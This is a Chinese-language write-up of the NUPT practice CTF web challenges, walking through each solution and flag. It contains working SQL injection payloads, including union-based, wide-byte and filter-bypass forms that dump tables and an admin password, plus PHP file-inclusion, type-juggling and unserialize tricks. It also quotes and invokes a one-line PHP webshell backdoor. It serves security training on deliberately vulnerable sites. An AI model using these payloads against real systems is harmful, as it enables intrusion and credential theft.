1. 程式人生 > >南郵CTF練習題——web題

南郵CTF練習題——web題

南郵CTF練習題(http://ctf.nuptzj.cn/)

web(缺注入實戰1,好像網炸了):

簽到題:(http://chinalover.sinaapp.com/web1/)

直接右鍵檢視原始碼得到flag

關鍵是<a style="display:none">這條html屬性,讓flag不顯示

看原始碼,關鍵是
if ($a != 'QNKCDZO' && $md51 == $md52)
post進去的a不是,然後a的MD5加密後是跟QNKCDZO一樣,MD5加密QNKCDZ0發現是0Exxxxxxxxx之類的字元,表示0

所以找一個字串,md5加密後是0E開頭就好了

百度找到一個 aabg7XSs
,構建一下就好了

flag nctf{md5_collision_is_easy}

簽到題2:(http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php)

複製口令:zhimakaimen到輸入框,提示尚未登入或口令登入。右鍵檢視原始碼


看到了maxlength,輸入框限制了輸入字元數量,改大一點就好了

開啟firebug,在html直接修改


然後就可以得到flag了,flag is:nctf{follow_me_to_exploit}

這題不是WEB(http://chinalover.sinaapp.com/web2/index.html)

提示不是web題,然後看到有張圖,先另存為下來

先改名為txt看看有沒有flag,發現沒有,再改名為zip,提示壓縮包損壞

那就用HxD等工具檢視一下,在最後發現flag


flag:nctf{photo_can_also_hid3_msg}

層層遞進(http://chinalover.sinaapp.com/web3/)

開啟網頁,檢視原始碼,似乎都沒有什麼提示

上burpsuite,截斷看看

發現也沒有什麼提示

那在burpsuite的httphistory看看


看到這個字尾有點意思 ,返回的http狀態碼是200,然後寫404.html

開啟看看

在response包就看到flag


flag:nctf{this_is_a_fl4g}

AAencode(http://chinalover.sinaapp.com/web20/aaencode.txt)

莫名其妙的打不開了

反正就是一段js加密後的程式碼,直接跑一下就好了

在vscode下 先

var ω゚ノ = " " (定義這個變數是因為第一次跑說這個變數未定義) 然後複製網站的AAencode程式碼 跑完就能得到flag [Running] node "c:\Users\Dcison\Desktop\1.js" undefined:2 alert("nctf{javascript_aaencode}") ^

也可以看看AAdecode方法→http://tieba.baidu.com/p/4104806767

單身二十年(http://chinalover.sinaapp.com/web8/)

直接在burpsuite看到了。。。


flag:nctf{yougotit_script_now}

你從哪裡來(http://chinalover.sinaapp.com/web22/)

看題目提示,從Google來

沒差的話就是改請求就好了,改成http://www.google.com

referer可以看看:http://baike.baidu.com/link?url=lEY--jHYjzifDw9PlUrsdVWgU7JB2ibqSz4FYdj1JX5_rOg_B-lolG4uBEvWSRWvumd55lkc0OJ4qVoZlSUgBxGp-Spg0CgtMKMroy57gba的簡介就好了

phpdecode:

觀察原始碼發現其實沒想象中的難,就是一個

gzinflate(base64_decode($ZzvSWE))加密,百度可以詳細瞭解,
改下最後的程式碼,在php測試上試試就好了->http://www.shucunwang.com/RunCode/php/

flag如圖

檔案包含(http://4.chinalover.sinaapp.com/web7/index.php)

構建file=php://filter/read=convert.base64-encode/resource=index.php 就好

文章可以參考:http://www.2cto.com/article/201311/258420.html(烏雲的炸了2333333)

單身100年也沒用(http://chinalover.sinaapp.com/web9/)

開啟burp看看就出來了


這題是講302重定向,詳情可以看看->http://blog.sina.com.cn/s/blog_4550f3ca0101czu9.html 連帶301複習

Download~!(http://way.nuptzj.cn/web6/)

dalao學長給了tips。。。。download.php

http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw(後面這一串是download.php的base64加密)

然後下面就很簡單了。。看到原始碼裡有hereiskey.php,再下載一次就好了

flag:nctf{download_any_file_666}

cookie(http://chinalover.sinaapp.com/web10/index.php)

題目提示 :0==not

即我們可能要改包

burp看看請求包


題目是cookie,我們看到cookie這行,發現login = 0 

那就改1咯

開啟截斷,然後把包發到repeater

改login = 1


得到flag:nctf{cookie_is_different_from_session}

MYSQL(http://chinalover.sinaapp.com/web11/)

一上來就提示robots.txt

那在連結後面加上robots.txt訪問看看(robots可百度)

(http://chinalover.sinaapp.com/web11/robots.txt

可以看到sql程式碼,重點關注

如果id 不等於1024才輸出內容

再根據題目提示sql.php

連結寫

http://chinalover.sinaapp.com/web11/sql.php?id=1022(1022是隨機寫的)

看看有什麼

提示 no msg

那再看看1024

就輸出try again

再往後看看,1025提示 no more

1026 1027都沒有東西了

再往回1023,還是沒內容

那再關注1024,思考可能內容就在id=1024裡面,但程式碼判斷不能是1024才顯示

那我們就要想有什麼可以等效1024,但不等於1024

那很容易想到時mysql的精度問題,輸入1024.1試試

就可以得到flag:the flag is:nctf{query_in_mysql}

寬位元組注入,http://www.2cto.com/article/201301/182881.html,可以看看,也可以自己各種百度, 不上圖了,直接上程式碼: 爆庫id = %df' union select 1,database() %23
得到庫名 sae-chinalover
爆表id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news
暴欄位ctf2表 %df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632 %23
得到欄位名 id,content(別問我為啥選ctf2表,一個一個試出來的)
暴內容 id=%df' union select 1,group_concat(id,0x3a,content) from ctf2 %23
得到flag:    nctf{query_in_mysql}

/x00(http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?)

不懂php,看程式碼,查函式猜的。。。

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1

不知道為何能爆出flag。。。以後再好好研究截斷

(保留nctf[]就可以了,後面=1都可以不用。。。)

bypass(http://chinalover.sinaapp.com/web17/index.php)

題目提示了弱型別,利用的是在php,md5一個數組。

構造:http://chinalover.sinaapp.com/web17/index.php?a[]=a&&b[]=c

Flag: nctf{php_is_so_cool}

變數覆蓋:(http://chinalover.sinaapp.com/web18/index.php)

點開後,發現有個source

點開檢視,關注

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?></code>
                            </div>
                        <?php } ?>
                    <?php } ?>

只要pass 和thepassword_123相等就好了

那麼構建


flag如圖

這題關鍵是extract函式,詳情可看http://www.w3school.com.cn/php/func_array_extract.asp


php是世界上最好的語言:(http://way.nuptzj.cn/php/index.php)

點開提示開啟index,txt

關注一下eregi函式,->http://blog.csdn.net/shaobingj126/article/details/6861646

懂了之後就簡單了

意思是提交的id不能=hackerDJ,而提交的id經過url解碼後與hackerDJ相同就能出flag

url編碼,傳輸過去預設會解碼一次,所以我們不能只加密一次,加密兩次就可以了,上工具


複製下來,再加密一次就好了,得到%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41


flag如圖

偽裝者(http://chinalover.sinaapp.com/web4/xxx.php)

看題目就猜可能要改請求包的某些內容

然後看網頁


猜可能要改Referer,再看網頁登陸,那就改127.0.0.1

然而什麼都沒有提示

那麼好好思考,發現這題似曾相識,與網路安全實驗室基礎題第11題相似

那上一個外掛


重新整理網頁,得到flag:nctf{happy_http_headers} 

Header(http://way.nuptzj.cn/web5/)

題目提示頭,題目也是header,提示那麼明顯了。。

懶得開firebug,檢視器,直接用burp看。。。


flag:nctf{tips_often_hide_here}

SQL注入1(http://chinalover.sinaapp.com/index.php)

看source,得到sql原始碼


重點關注這幾行,首先第一行是密碼進行了md5加密

第二行,第三行意思是從資料庫選擇賬號=admin,密碼=我們輸入的密碼的資料,把他們放到佇列中query中

重點來了,if判斷只需要判斷資料庫的賬號是不是,那我們只需要在admin輸入後讓密碼無效掉就好了,即註釋掉and(pw='。。。。。。。)後面的程式碼

那就構造 admin') -- dsfaasdf  --表示註釋,後面的東西亂輸就好了

得到flag,nctf{ni_ye_hui_sql?} 

passcheck:(http://chinalover.sinaapp.com/web21/)

意思是strcmp這個函式,比較結果相同時返回0....而判斷條件是

!strcmp($pass,$pass1))

按邏輯來說,這就是要post進去的內容與隱藏的密碼相同才行。。

然而strcmp比較的內容有陣列時會返回null

而null 和 0在判斷中是等價的。post一個數組進去就好

起名字真難:(http://chinalover.sinaapp.com/web12/index.php)

看原始碼知道我們提交的id中的字串不能有數字,而想得到flag又要進去的是要數字。。。

所以我們換進位制就好了54975581388=0xccccccccc
playload=http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
flag:nctf{follow_your_dream}

密碼重置(http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D)

複製連結的時候就發現問題了,

發現沒,那很可能是編碼過,base64解碼後發現是ctfuser,而題目要求我們是admin

那麼問題就簡單了,將admin base64加密後,再編碼成url格式,可以用hackbar自帶的工具,截斷重置,然後用burp改包就好了


flag:nctf{reset_password_often_have_vuln}


炸了。。上不去 簡而言之就是讓個序列化過後的字串與類中的變數始終保持相同,可以想到引用a=&b

拿php測試跑一下這個程式碼

<?php 
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());
?>
得到關鍵字串

構建playload:http://115.28.150.176/php1/index.php?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

sql injection 4(http://chinalover.sinaapp.com/web15/index.php)

根據提示與右鍵原始碼,可以知道用\來使單引號閉合

關鍵是username=\&password=or 1=1%23 (%23表示#,直接#不行。。。不知道為什麼要url編碼後才可以)

這樣子 sql語句就變成了

SELECT * FROM users WHERE name='\' AND pass=' or 1= 1#';(表示被閉合掉了)
這樣就可以得到flag了:

nctf{sql_injection_is_interesting}

綜合題(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php)

點進去,在實驗室題目做過,是jsfuck(http://www.jsfuck.com/)

執行題目的程式碼,得到1bc29b36f623ba82aaf6724fd3b16718.php

回去構造連結(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php)

提示tip在腦袋(head)裡,那看頭咯,返回包裡有tip,提示history of bash

不知道什麼玩意,百度咯,可以看看(http://blog.csdn.net/pan_tian/article/details/7715436)

用法就是http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history

開啟提示一個zip檔案,下載就好了

http://teamxlc.sinaapp.com/web3/flagbak.zip

flag is:nctf{bash_history_means_what}

sql注入2(http://4.chinalover.sinaapp.com/web6/index.phps)

題目提示union,可能要用到union語句,然後關注下主要程式碼

$pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }

密碼md5加密, 從資料庫中選擇與使用者名稱匹配的密碼,然後判斷,密碼不空且我們輸入的密碼與資料庫中存的密碼相同,才輸出flag

然後。。。就不會了。。不會百度就好了

http://wenku.baidu.com/link?url=W6WxOzWCUqyXFhGzRyUBEIYE2zo0QkryATPuuosV7voFs6xkvfwjbyY5O3Li97Y4JcRPxQxC01cpOYmTnUiDRRWoIcqoduTHHnhcPrM7wba

上面的題解有詳細的說明,套就好了

得到flag:ntcf{union_select_is_wtf} 

綜合題2(http://cms.nuptzj.cn/)

看了兩篇writeup......還有經過周老大“調教”終於懂了。。。

關鍵是注入語句構造麻煩。。。

http://cms.nuptzj.cn/about.php?file=sm.txt ->收集資訊,得到表名admin, 欄位名 username,userpass

而且http://cms.nuptzj.cn/about.php?file=sm.txt可以知道這裡有檔案包含漏洞,各種更改file=xxxx收集下資訊

在file=so.php中可以看到

首先要改userage->Xlcteam Browser

然後還可以看到 antiinject.php 

再file = antiinject.php,裡面是過濾檔案

可以用>或者<代替=,/**/代替空格,like或者In代替=,然後 selselectect代替select

詳情看http://www.freebuf.com/articles/web/36683.html

然後我們上Modify Header
在留言搜尋那開始注入

因為單引號被過濾了,我們直接用order by來測試下

發現到5就不行了

所以有4個欄位

上union select

因為我們根據一開始的提示已經有了表名 欄位名

直接構造

soid=-5/**/ununionion/**/seleselectct/**/1,group_concat(userpapassss),3,4/**/frfromom/**/adadminmin#(換下usernanameme得username欄位內容)

5是自己試出來的,4也行,123都不行

得到102 117 99 107 114 117 110 116 117    admin

明顯密碼是ASCII,轉成字元發現是fuckruntu

然後找後臺

在file=about.php可以看到後臺loginxlcteam

http://cms.nuptzj.cn/loginxlcteam

登陸後看到


file=xlcteam.php檢視一下

這個一句話木馬內容如下:

<?php$e = $_REQUEST['www'];$arr = array($_POST['wtf'] => '|.*|e',);array_walk($arr, $e, '');?>

百度搜索一下

http://blog.csdn.net/settoken/article/details/50946689

就是第四個,所以構建http://cms.nuptzj.cn/xlcteam.php?www=preg_replace

密碼wtf

flag如圖

注入實戰

炸了。。一直沒法做

密碼重置2:(http://nctf.nuptzj.cn/web14/index.php)

得到提示

知道token要10,並且要=0,很快想到0e00000000

得到flag:nctf{thanks_to_cumt_bxs}

web題到此結束。。。收穫頗多,感謝周老大與悉宇大神的各種指導(tiaojiao)